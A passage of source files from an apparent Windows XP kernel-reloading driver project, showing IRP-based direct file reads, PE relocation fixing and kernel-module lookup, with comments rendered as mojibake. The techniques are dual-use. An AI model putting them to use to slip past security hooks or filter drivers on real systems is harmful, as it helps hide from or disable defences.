Irp->RequestorMode = KernelMode;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.OriginalFileObject = FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = FileObject;\r\n IrpSp->Parameters.QueryFile.Length = Length;\r\n IrpSp->Parameters.QueryFile.FileInformationClass = FileInformationClass;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n\r\n if (ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n return IoStatusBlock.Status;\r\n}\r\n\r\n\r\n\r\n//Irp󣬽ļ뻺\r\nNTSTATUS\r\n IrpReadFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n OUT PVOID Buffer,\r\n IN ULONG Length,\r\n IN PLARGE_INTEGER ByteOffset OPTIONAL)\r\n{\r\n NTSTATUS ntStatus;\r\n PIRP Irp;\r\n KEVENT kEvent;\r\n PIO_STACK_LOCATION IrpSp;\r\n // \r\n\r\n\r\n if(ByteOffset == NULL)\r\n {\r\n if(!(FileObject->Flags & FO_SYNCHRONOUS_IO))\r\n return STATUS_INVALID_PARAMETER;\r\n ByteOffset = &FileObject->CurrentByteOffset;\r\n }\r\n\r\n Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);\r\n if(Irp == NULL) return STATUS_INSUFFICIENT_RESOURCES;\r\n\r\n RtlZeroMemory(Buffer, Length);\r\n if(FileObject->DeviceObject->Flags & DO_BUFFERED_IO) //巽ʽ\r\n {\r\n Irp->AssociatedIrp.SystemBuffer = Buffer;\r\n }\r\n else if(FileObject->DeviceObject->Flags & DO_DIRECT_IO) //ֱӷʽ\r\n {\r\n Irp->MdlAddress = IoAllocateMdl(Buffer, Length, 0, 0, 0);\r\n if (Irp->MdlAddress == NULL)\r\n {\r\n IoFreeIrp(Irp);\r\n return STATUS_INSUFFICIENT_RESOURCES;\r\n }\r\n MmBuildMdlForNonPagedPool(Irp->MdlAddress);\r\n }\r\n else //ʽ\r\n {\r\n Irp->UserBuffer = Buffer;\r\n }\r\n\r\n KeInitializeEvent(&kEvent, SynchronizationEvent, FALSE);\r\n\r\n Irp->UserEvent = &kEvent;\r\n Irp->UserIosb = IoStatusBlock;\r\n Irp->RequestorMode = KernelMode;\r\n Irp->Flags = IRP_READ_OPERATION;\r\n Irp->Tail.Overlay.Thread = PsGetCurrentThread();\r\n Irp->Tail.Overlay.OriginalFileObject = FileObject;\r\n\r\n IrpSp = IoGetNextIrpStackLocation(Irp);\r\n IrpSp->MajorFunction = IRP_MJ_READ;\r\n IrpSp->MinorFunction = IRP_MN_NORMAL;\r\n IrpSp->DeviceObject = DeviceObject;\r\n IrpSp->FileObject = FileObject;\r\n IrpSp->Parameters.Read.Length = Length;\r\n IrpSp->Parameters.Read.ByteOffset = *ByteOffset;\r\n\r\n IoSetCompletionRoutine(Irp, IoCompletionRoutine, 0, TRUE, TRUE, TRUE);\r\n ntStatus = IoCallDriver(DeviceObject, Irp);\r\n if (ntStatus == STATUS_PENDING)\r\n KeWaitForSingleObject(&kEvent, Executive, KernelMode, TRUE, 0);\r\n\r\n return IoStatusBlock->Status;\r\n}\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/FileSystem.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\nNTSTATUS\r\n IrpCreateFile(\r\n IN PUNICODE_STRING FilePath,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN ULONG FileAttributes,\r\n IN ULONG ShareAccess,\r\n IN ULONG CreateDisposition,\r\n IN ULONG CreateOptions,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PDEVICE_OBJECT RealDevice,\r\n OUT PFILE_OBJECT *FileObject\r\n );\r\nNTSTATUS\r\n IoCompletionRoutine(\r\n IN PDEVICE_OBJECT DeviceObject,\r\n IN PIRP Irp,\r\n IN PVOID Context);\r\n\r\n\r\nNTSTATUS\r\n IrpQueryInformationFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PVOID FileInformation,\r\n IN ULONG Length,\r\n IN FILE_INFORMATION_CLASS FileInformationClass);\r\n\r\n\r\n//Irp󣬽ļ뻺\r\nNTSTATUS\r\n IrpReadFile(\r\n IN PFILE_OBJECT FileObject,\r\n IN PDEVICE_OBJECT DeviceObject,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n OUT PVOID Buffer,\r\n IN ULONG Length,\r\n IN PLARGE_INTEGER ByteOffset OPTIONAL);\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/FixRelocation.c", "content": "#include \"FixRelocation.h\"\r\n\r\n\r\n\r\n/*\r\nضλ ޸\r\n*/\r\nBOOLEAN\r\n FixBaseRelocTable (\r\n PVOID NewImageBase,\r\n DWORD ExistImageBase\r\n )\r\n{\r\n LONGLONG Diff;\r\n ULONG TotalCountBytes = 0;\r\n ULONG_PTR VA;\r\n ULONGLONG OriginalImageBase;\r\n ULONG SizeOfBlock;\r\n PUCHAR FixupVA;\r\n USHORT Offset;\r\n PUSHORT NextOffset = NULL;\r\n PIMAGE_NT_HEADERS NtHeaders;\r\n PIMAGE_BASE_RELOCATION NextBlock;\r\n\r\n\r\n NtHeaders = RtlImageNtHeader( NewImageBase );\r\n if (NtHeaders == NULL) \r\n {\r\n return FALSE;\r\n }\r\n\r\n switch (NtHeaders->OptionalHeader.Magic) {\r\n\r\n case IMAGE_NT_OPTIONAL_HDR32_MAGIC:\r\n\r\n OriginalImageBase =\r\n ((PIMAGE_NT_HEADERS32)NtHeaders)->OptionalHeader.ImageBase;\r\n break;\r\n\r\n case IMAGE_NT_OPTIONAL_HDR64_MAGIC:\r\n\r\n OriginalImageBase =\r\n ((PIMAGE_NT_HEADERS64)NtHeaders)->OptionalHeader.ImageBase;\r\n break;\r\n\r\n default:\r\n return FALSE;\r\n }\r\n\r\n //\r\n // Locate the relocation section.\r\n //\r\n\r\n NextBlock = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(\r\n NewImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &TotalCountBytes);\r\n\r\n //\r\n // It is possible for a file to have no relocations, but the relocations\r\n // must not have been stripped.\r\n //\r\n\r\n if (!NextBlock || !TotalCountBytes) \r\n {\r\n\r\n if (NtHeaders->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED) \r\n {\r\n DbgPrint(\"Image can't be relocated, no fixup information.\\n\");\r\n return FALSE;\r\n\r\n }\r\n else \r\n {\r\n return TRUE;\r\n }\r\n\r\n }\r\n\r\n //\r\n // If the image has a relocation table, then apply the specified fixup\r\n // information to the image.\r\n //\r\n Diff = (ULONG_PTR)ExistImageBase - OriginalImageBase;\r\n while (TotalCountBytes)\r\n {\r\n SizeOfBlock = NextBlock->SizeOfBlock;\r\n TotalCountBytes -= SizeOfBlock;\r\n SizeOfBlock -= sizeof(IMAGE_BASE_RELOCATION);\r\n SizeOfBlock /= sizeof(USHORT);\r\n NextOffset = (PUSHORT)((PCHAR)NextBlock + sizeof(IMAGE_BASE_RELOCATION));\r\n\r\n VA = (ULONG_PTR)NewImageBase + NextBlock->VirtualAddress;\r\n\r\n if ( !(NextBlock = LdrProcessRelocationBlockLongLong( VA,\r\n SizeOfBlock,\r\n NextOffset,\r\n Diff)) ) \r\n {\r\n\r\n DbgPrint(\"%s: Unknown base relocation type\\n\");\r\n return FALSE;\r\n\r\n }\r\n }\r\n\r\n return TRUE;\r\n}\r\n\r\n\r\n\r\n/*޸ضλ*/\r\nPIMAGE_BASE_RELOCATION\r\n LdrProcessRelocationBlockLongLong(\r\n IN ULONG_PTR VA,\r\n IN ULONG SizeOfBlock,\r\n IN PUSHORT NextOffset,\r\n IN LONGLONG Diff\r\n )\r\n{\r\n PUCHAR FixupVA;\r\n USHORT Offset;\r\n LONG Temp;\r\n ULONG Temp32;\r\n ULONGLONG Value64;\r\n LONGLONG Temp64;\r\n\r\n\r\n\r\n while (SizeOfBlock--) {\r\n\r\n Offset = *NextOffset & (USHORT)0xfff;\r\n FixupVA = (PUCHAR)(VA + Offset);\r\n\r\n //\r\n // Apply the fixups.\r\n //\r\n\r\n switch ((*NextOffset) >> 12) {\r\n\r\n case IMAGE_REL_BASED_HIGHLOW :\r\n //\r\n // HighLow - (32-bits) relocate the high and low half\r\n // of an address.\r\n //\r\n *(LONG UNALIGNED *)FixupVA += (ULONG) Diff;\r\n break;\r\n\r\n case IMAGE_REL_BASED_HIGH :\r\n //\r\n // High - (16-bits) relocate the high half of an address.\r\n //\r\n Temp = *(PUSHORT)FixupVA << 16;\r\n Temp += (ULONG) Diff;\r\n *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);\r\n break;\r\n\r\n case IMAGE_REL_BASED_HIGHADJ :\r\n //\r\n // Adjust high - (16-bits) relocate the high half of an\r\n // address and adjust for sign extension of low half.\r\n //\r\n\r\n //\r\n // If the address has already been relocated then don't\r\n // process it again now or information will be lost.\r\n //\r\n if (Offset & LDRP_RELOCATION_FINAL) {\r\n ++NextOffset;\r\n --SizeOfBlock;\r\n break;\r\n }\r\n\r\n Temp = *(PUSHORT)FixupVA << 16;\r\n ++NextOffset;\r\n --SizeOfBlock;\r\n Temp += (LONG)(*(PSHORT)NextOffset);\r\n Temp += (ULONG) Diff;\r\n Temp += 0x8000;\r\n *(PUSHORT)FixupVA = (USHORT)(Temp >> 16);\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_LOW :\r\n //\r\n // Low - (16-bit) relocate the low half of an address.\r\n //\r\n Temp = *(PSHORT)FixupVA;\r\n Temp += (ULONG) Diff;\r\n *(PUSHORT)FixupVA = (USHORT)Temp;\r\n break;\r\n\r\n case IMAGE_REL_BASED_IA64_IMM64:\r\n\r\n //\r\n // Align it to bundle address before fixing up the\r\n // 64-bit immediate value of the movl instruction.\r\n //\r\n\r\n FixupVA = (PUCHAR)((ULONG_PTR)FixupVA & ~(15));\r\n Value64 = (ULONGLONG)0;\r\n\r\n //\r\n // Extract the lower 32 bits of IMM64 from bundle\r\n //\r\n\r\n\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM7B_SIZE_X,\r\n EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM7B_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM9D_SIZE_X,\r\n EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM9D_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM5C_SIZE_X,\r\n EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM5C_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X,\r\n EMARCH_ENC_I17_IC_SIZE_X,\r\n EMARCH_ENC_I17_IC_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IC_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n (PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X,\r\n EMARCH_ENC_I17_IMM41a_SIZE_X,\r\n EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41a_VAL_POS_X);\r\n\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41b_SIZE_X,\r\n EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41b_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41c_SIZE_X,\r\n EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41c_VAL_POS_X);\r\n EXT_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),\r\n EMARCH_ENC_I17_SIGN_SIZE_X,\r\n EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_SIGN_VAL_POS_X);\r\n //\r\n // Update 64-bit address\r\n //\r\n\r\n Value64+=Diff;\r\n\r\n //\r\n // Insert IMM64 into bundle\r\n //\r\n\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM7B_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM7B_SIZE_X,\r\n EMARCH_ENC_I17_IMM7B_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM7B_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM9D_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM9D_SIZE_X,\r\n EMARCH_ENC_I17_IMM9D_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM9D_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM5C_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM5C_SIZE_X,\r\n EMARCH_ENC_I17_IMM5C_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM5C_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IC_INST_WORD_X),\r\n EMARCH_ENC_I17_IC_SIZE_X,\r\n EMARCH_ENC_I17_IC_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IC_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41a_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41a_SIZE_X,\r\n EMARCH_ENC_I17_IMM41a_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41a_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41b_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41b_SIZE_X,\r\n EMARCH_ENC_I17_IMM41b_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41b_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_IMM41c_INST_WORD_X),\r\n EMARCH_ENC_I17_IMM41c_SIZE_X,\r\n EMARCH_ENC_I17_IMM41c_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_IMM41c_VAL_POS_X);\r\n INS_IMM64(Value64,\r\n ((PULONG)FixupVA + EMARCH_ENC_I17_SIGN_INST_WORD_X),\r\n EMARCH_ENC_I17_SIGN_SIZE_X,\r\n EMARCH_ENC_I17_SIGN_INST_WORD_POS_X,\r\n EMARCH_ENC_I17_SIGN_VAL_POS_X);\r\n break;\r\n\r\n case IMAGE_REL_BASED_DIR64:\r\n\r\n *(ULONGLONG UNALIGNED *)FixupVA += Diff;\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_MIPS_JMPADDR :\r\n //\r\n // JumpAddress - (32-bits) relocate a MIPS jump address.\r\n //\r\n Temp = (*(PULONG)FixupVA & 0x3ffffff) << 2;\r\n Temp += (ULONG) Diff;\r\n *(PULONG)FixupVA = (*(PULONG)FixupVA & ~0x3ffffff) |\r\n ((Temp >> 2) & 0x3ffffff);\r\n\r\n break;\r\n\r\n case IMAGE_REL_BASED_ABSOLUTE :\r\n //\r\n // Absolute - no fixup required.\r\n //\r\n break;\r\n\r\n case IMAGE_REL_BASED_SECTION :\r\n //\r\n // Section Relative reloc. Ignore for now.\r\n //\r\n break;\r\n\r\n case IMAGE_REL_BASED_REL32 :\r\n //\r\n // Relative intrasection. Ignore for now.\r\n //\r\n break;\r\n\r\n default :\r\n //\r\n // Illegal - illegal relocation type.\r\n //\r\n\r\n return (PIMAGE_BASE_RELOCATION)NULL;\r\n }\r\n ++NextOffset;\r\n }\r\n return (PIMAGE_BASE_RELOCATION)NextOffset;\r\n}\r\n\r\n\r\n/*\r\nNtHeader\r\n*/\r\nNTSTATUS\r\n NTAPI\r\n RtlImageNtHeaderEx(\r\n ULONG Flags,\r\n PVOID Base,\r\n ULONG64 Size,\r\n OUT PIMAGE_NT_HEADERS * OutHeaders\r\n )\r\n\r\n{\r\n PIMAGE_NT_HEADERS NtHeaders = 0;\r\n ULONG e_lfanew = 0;\r\n BOOLEAN RangeCheck = 0;\r\n NTSTATUS Status = 0;\r\n const ULONG ValidFlags = \r\n RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK;\r\n\r\n if (OutHeaders != NULL) {\r\n *OutHeaders = NULL;\r\n }\r\n if (OutHeaders == NULL) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n if ((Flags & ~ValidFlags) != 0) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n if (Base == NULL || Base == (PVOID)(LONG_PTR)-1) {\r\n Status = STATUS_INVALID_PARAMETER;\r\n goto Exit;\r\n }\r\n\r\n RangeCheck = ((Flags & RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK) == 0);\r\n if (RangeCheck) {\r\n if (Size < sizeof(IMAGE_DOS_HEADER)) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n goto Exit;\r\n }\r\n }\r\n\r\n //\r\n // Exception handling is not available in the boot loader, and exceptions\r\n // were not historically caught here in kernel mode. Drivers are considered\r\n // trusted, so we can't get an exception here due to a bad file, but we\r\n // could take an inpage error.\r\n //\r\n#define EXIT goto Exit\r\n if (((PIMAGE_DOS_HEADER)Base)->e_magic != IMAGE_DOS_SIGNATURE) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n e_lfanew = ((PIMAGE_DOS_HEADER)Base)->e_lfanew;\r\n if (RangeCheck) {\r\n if (e_lfanew >= Size\r\n#define SIZEOF_PE_SIGNATURE 4\r\n || e_lfanew >= (MAXULONG - SIZEOF_PE_SIGNATURE - sizeof(IMAGE_FILE_HEADER))\r\n || (e_lfanew + SIZEOF_PE_SIGNATURE + sizeof(IMAGE_FILE_HEADER)) >= Size\r\n ) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n }\r\n\r\n NtHeaders = (PIMAGE_NT_HEADERS)((PCHAR)Base + e_lfanew);\r\n\r\n //\r\n // In kernelmode, do not cross from usermode address to kernelmode address.\r\n //\r\n if (Base < MM_HIGHEST_USER_ADDRESS) {\r\n if ((PVOID)NtHeaders >= MM_HIGHEST_USER_ADDRESS) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n //\r\n // Note that this check is slightly overeager since IMAGE_NT_HEADERS has\r\n // a builtin array of data_directories that may be larger than the image\r\n // actually has. A better check would be to add FileHeader.SizeOfOptionalHeader,\r\n // after ensuring that the FileHeader does not cross the u/k boundary.\r\n //\r\n if ((PVOID)((PCHAR)NtHeaders + sizeof (IMAGE_NT_HEADERS)) >= MM_HIGHEST_USER_ADDRESS) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n }\r\n\r\n if (NtHeaders->Signature != IMAGE_NT_SIGNATURE) {\r\n Status = STATUS_INVALID_IMAGE_FORMAT;\r\n EXIT;\r\n }\r\n Status = STATUS_SUCCESS;\r\n\r\nExit:\r\n if (NT_SUCCESS(Status)) {\r\n *OutHeaders = NtHeaders;\r\n }\r\n return Status;\r\n}\r\n\r\n\r\nPIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(\r\n PVOID Base\r\n )\r\n{\r\n PIMAGE_NT_HEADERS NtHeaders = NULL;\r\n (VOID)RtlImageNtHeaderEx(RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK, Base, 0, &NtHeaders);\r\n return NtHeaders;\r\n}\r\n\r\n\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/FixRelocation.h", "content": "#include \"Reload.h\"\r\n\r\n\r\n\r\n\r\nBOOLEAN\r\n FixBaseRelocTable (\r\n PVOID NewImageBase,\r\n DWORD ExistImageBase\r\n );\r\n\r\nPIMAGE_BASE_RELOCATION\r\n LdrProcessRelocationBlockLongLong(\r\n IN ULONG_PTR VA,\r\n IN ULONG SizeOfBlock,\r\n IN PUSHORT NextOffset,\r\n IN LONGLONG Diff\r\n );\r\n\r\nNTSTATUS\r\n NTAPI\r\n RtlImageNtHeaderEx(\r\n ULONG Flags,\r\n PVOID Base,\r\n ULONG64 Size,\r\n OUT PIMAGE_NT_HEADERS * OutHeaders\r\n );\r\n\r\nPIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(\r\n PVOID Base\r\n );\r\n" }, { "path": "ReloadKernel-XP/ReloadKernel/KernelReload.c", "content": "\r\n#include \"KernelReload.h\"\r\n#include \"FileSystem.h\"\r\n#include \"FixRelocation.h\"\r\n\r\n\r\n/*ZwQuerySystemInformation öģϢ õһģ Ntos..*/\r\nBOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize)\r\n{\r\n NTSTATUS status;\r\n ULONG ulSize,i;\r\n PMODULES pModuleList;\r\n char *lpszKernelName=NULL;\r\n ANSI_STRING AnsiKernelModule;\r\n UNICODE_STRING UnicodeKernelModule;\r\n BOOLEAN bRet=TRUE;\r\n\r\n __try\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n NULL,\r\n 0,\r\n &ulSize\r\n );\r\n if (status!=STATUS_INFO_LENGTH_MISMATCH)\r\n {\r\n return FALSE;\r\n }\r\n pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize);\r\n if (pModuleList)\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n pModuleList,\r\n ulSize,\r\n &ulSize\r\n );\r\n if (!NT_SUCCESS(status))\r\n {\r\n bRet = FALSE;\r\n }\r\n }\r\n if (!bRet)\r\n {\r\n if (pModuleList)\r\n ExFreePool(pModuleList);\r\n return FALSE;\r\n }\r\n *SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2);\r\n if (*SystemKernelModulePath==NULL)\r\n {\r\n *SystemKernelModuleBase=0;\r\n *SystemKernelModuleSize=0;\r\n return FALSE;\r\n }\r\n\r\n lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //һģ\r\n RtlInitAnsiString(&AnsiKernelModule,lpszKernelName);\r\n RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE);\r\n\r\n RtlZeroMemory(*SystemKernelModulePath,260*2);\r\n wcscat(*SystemKernelModulePath,L\"\\\\SystemRoot\\\\system32\\\\\");\r\n\r\n memcpy(\r\n *SystemKernelModulePath+wcslen(L\"\\\\SystemRoot\\\\system32\\\\\"), //һģ·\r\n UnicodeKernelModule.Buffer,\r\n UnicodeKernelModule.Length\r\n );\r\n\r\n *SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //õһģַ\r\n *SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //õһģС\r\n ExFreePool(pModuleList);\r\n RtlFreeUnicodeString(&UnicodeKernelModule);\r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n\r\n }\r\n return TRUE;\r\n}\r\n\r\n\r\n/*ļDeviceObjectRealDevice*/\r\nBOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice)\r\n{\r\n //PDEVICE_OBJECT deviceObject;\r\n // If the file object has a mounted Vpb, use its DeviceObject.\r\n if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL)\r\n {\r\n *DeviceObject = FileObject->Vpb->DeviceObject;\r\n *RealDevice= FileObject->Vpb->RealDevice;\r\n\r\n // Otherwise, if the real device has a VPB that indicates that it is mounted,\r\n // then use the file system device object associated with the VPB.\r\n }\r\n else if\r\n (\r\n !(FileObject->Flags & FO_DIRECT_DEVICE_OPEN)\r\n &&\r\n FileObject->DeviceObject->Vpb != NULL\r\n &&\r\n FileObject->DeviceObject->Vpb->DeviceObject != NULL\r\n )\r\n {\r\n *DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject;\r\n *RealDevice = FileObject->DeviceObject->Vpb->RealDevice;\r\n // Otherwise, just return the real device object.\r\n }\r\n else\r\n {\r\n *DeviceObject = FileObject->DeviceObject;\r\n *RealDevice=NULL;\r\n }\r\n if (*RealDevice==NULL||*DeviceObject==NULL)\r\n {\r\n return FALSE;\r\n }\r\n // Simply return the resultant file object.\r\n return TRUE;\r\n}\r\n\r\n\r\n\r\n//FileObjectеRealDeviceDeviceObject\r\nBOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject)\r\n{\r\n WCHAR wRootName[32]={0};\r\n UNICODE_STRING RootName;\r\n OBJECT_ATTRIBUTES ObjectAttributes={0};\r\n NTSTATUS status;\r\n HANDLE hFile;\r\n IO_STATUS_BLOCK IoStatus;\r\n PFILE_OBJECT FileObject;\r\n if (FileFullName[0]==0x005C)\r\n {//in \\Windows\\system32\\ntkrnlpa.exe\r\n wcscpy(wRootName,L\"\\\\SystemRoot\");\r\n }\r\n else\r\n {\r\n wcscpy(wRootName,L\"\\\\DosDevices\\\\*:\\\\\");\r\n wRootName[12]=FileFullName[0];\r\n }\r\n RtlInitUnicodeString(&RootName,wRootName);\r\n\r\n InitializeObjectAttributes(&ObjectAttributes, &RootName,\r\n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);\r\n //RootName.Buffer = \"\\SystemRoot\"\r\n status = IoCreateFile(\r\n &hFile,\r\n SYNCHRONIZE,\r\n &ObjectAttributes,\r\n &IoStatus,\r\n 0,\r\n FILE_ATTRIBUTE_NORMAL,\r\n FILE_SHARE_READ|FILE_SHARE_WRITE,\r\n FILE_OPEN,\r\n FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n 0,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING);\r\n\r\n if (!NT_SUCCESS(status))\r\n {\r\n\r\n return FALSE;\r\n }\r\n status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL);\r\n if (!NT_SUCCESS(status))\r\n {\r\n ZwClose(hFile);\r\n return FALSE;\r\n }\r\n if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //FileObjectеdeviceObjectRealDevice\r\n {\r\n ObfDereferenceObject(FileObject);\r\n ZwClose(hFile);\r\n return FALSE;\r\n\r\n }\r\n ObfDereferenceObject(FileObject);\r\n ZwClose(hFile);\r\n\r\n return TRUE;\r\n\r\n}\r\n\r\n/*ϵͳĿ¼*/\r\nBOOLEAN GetWindowsRootName(WCHAR *WindowsRootName)\r\n{\r\n UNICODE_STRING RootName,ObjectName;\r\n OBJECT_ATTRIBUTES ObjectAttributes;\r\n HANDLE hLink;\r\n NTSTATUS status;\r\n WCHAR *SystemRootName=(WCHAR*)0x7FFE0030;\r\n WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2);\r\n if (ObjectNameBuffer==NULL)\r\n {\r\n return FALSE;\r\n }\r\n RtlZeroMemory(ObjectNameBuffer,260*2);\r\n RtlInitUnicodeString(&RootName,L\"\\\\SystemRoot\");\r\n InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);\r\n status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes);\r\n if (NT_SUCCESS(status))\r\n {\r\n ObjectName.Buffer=ObjectNameBuffer;\r\n ObjectName.Length=0;\r\n ObjectName.MaximumLength=260*2;\r\n status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL);\r\n //ObjectNameBuffer \\Device\\Harddisk0\\Partition1\\Windows\r\n if (NT_SUCCESS(status))\r\n {\r\n int ObjectNameLength=ObjectName.Length/2;\r\n int Index;\r\n for (Index=ObjectNameLength-1;Index>0;Index--)\r\n {\r\n if (ObjectNameBuffer[Index]==0x005C)\r\n {\r\n if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index]))\r\n {\r\n break;\r\n\r\n }\r\n //\\Windows WindowsRootName\r\n RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2);\r\n ExFreePool(ObjectNameBuffer);\r\n return TRUE;\r\n }\r\n\r\n }\r\n }\r\n\r\n }\r\n ExFreePool(ObjectNameBuffer);\r\n if (!MmIsAddressValid(SystemRootName))\r\n {\r\n return 